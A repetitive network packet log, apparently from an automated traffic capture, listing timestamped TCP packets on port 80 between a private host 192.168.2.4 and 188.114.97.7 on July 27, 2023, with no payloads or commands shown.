Jul 27, 2023 18:27:05.070991993 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071038008 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071038961 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.071084976 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071093082 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.071134090 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071182013 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071182013 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.071248055 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071319103 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071366072 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071377039 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.071413040 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.071413994 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071463108 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071508884 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071554899 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071558952 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.071605921 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.071608067 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071656942 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071702957 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071749926 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071762085 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.071798086 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.071799040 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071847916 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071896076 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071928978 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.071943998 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.071990013 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072015047 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072040081 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072050095 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072067976 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072067976 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072093964 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072122097 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072148085 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072154045 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072175980 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072179079 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072202921 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072227955 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072249889 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072253942 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072290897 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072297096 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072318077 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072365046 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072381973 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072391987 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072415113 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072419882 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072447062 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072472095 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072498083 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072496891 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072511911 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072525024 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072550058 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072576046 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072601080 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072602034 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072619915 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072627068 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072654009 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072679043 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072704077 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072710991 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072731018 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072736979 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072758913 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072783947 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072809935 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072813988 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072834969 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072835922 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072871923 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072899103 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072925091 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072943926 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.072952986 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.072978973 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073004961 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073018074 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073018074 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073033094 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073060989 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073066950 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073088884 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073116064 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073139906 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073149920 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073168993 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073172092 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073195934 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073224068 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073225021 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073251009 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073276997 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073286057 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073302984 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073328972 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073352098 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073354006 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073381901 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073385954 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073429108 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073436022 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073457003 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073482990 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073508978 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073532104 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073535919 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073556900 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073564053 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073590994 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073616982 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073642969 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073668003 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073679924 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073679924 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073694944 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073721886 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.073723078 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.073796034 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.089919090 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.089943886 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.089962959 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.089987040 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.089997053 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090008020 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090030909 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090039015 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090055943 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090078115 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090091944 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090099096 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090121031 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090142012 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090147972 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090163946 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090173960 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090187073 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090207100 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090215921 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090229034 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090250969 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090264082 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090271950 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090293884 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090298891 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090316057 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090337992 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090352058 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090362072 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090379000 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090384960 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090408087 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090429068 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090451002 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090467930 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090485096 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090493917 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090516090 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090537071 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.090539932 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.090626955 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.091079950 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091104031 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091125965 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091146946 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091169119 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091171026 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.091191053 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091201067 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.091212988 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091234922 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091245890 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.091255903 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091278076 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091280937 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.091300964 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091320992 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091341972 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091346979 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.091363907 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091381073 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.091386080 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091407061 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091428041 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.091429949 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091451883 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091459036 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.091474056 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091495037 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091499090 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.091516972 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091557026 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.091567993 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.091612101 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.091996908 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092017889 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092037916 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092077971 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092101097 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.092107058 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092125893 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.092135906 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092164040 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092191935 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092217922 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.092219114 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092236042 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.092247009 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092288017 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092314959 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092340946 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.092343092 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092370987 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092375040 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.092397928 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092425108 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092447042 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.092456102 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092468977 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.092483997 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092511892 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092538118 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092556000 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.092566013 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092587948 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.092617989 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092931986 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092958927 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092988014 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.092988968 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093014002 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093015909 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093044043 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093060970 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093071938 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093100071 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093127012 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093153954 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093154907 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093168974 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093182087 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093209982 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093235970 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093262911 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093267918 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093290091 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093295097 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093318939 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093344927 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093373060 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093374014 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093391895 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093400955 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093427896 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093455076 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093477964 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093482971 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093499899 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093509912 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093594074 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093817949 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093844891 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093872070 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093900919 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093903065 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.093928099 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.093955040 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094003916 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.094048023 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094077110 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094104052 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094132900 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094161034 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094187021 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094213963 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094240904 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094266891 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094295979 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094320059 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.094322920 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094348907 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.094351053 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094379902 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094405890 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094429016 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.094432116 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094449043 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.094460964 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094486952 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094494104 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.094511986 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.094513893 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094542027 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094569921 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094594955 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.094598055 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094615936 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.094625950 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.094824076 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.094974041 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.095001936 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.095026970 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.095079899 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.096158028 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.109949112 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.109983921 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110012054 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110039949 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110050917 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.110064983 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110085964 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.110117912 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110146046 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110173941 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110178947 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.110199928 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.110203028 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110232115 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110248089 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.110260963 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110289097 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110304117 CEST	49710	80	192.168.2.4	188.114.97.7
Jul 27, 2023 18:27:05.110317945 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110347033 CEST	80	49710	188.114.97.7	192.168.2.4
Jul 27, 2023 18:27:05.110378981 CEST	80	49710	188.114.97.7	192.168.2.4
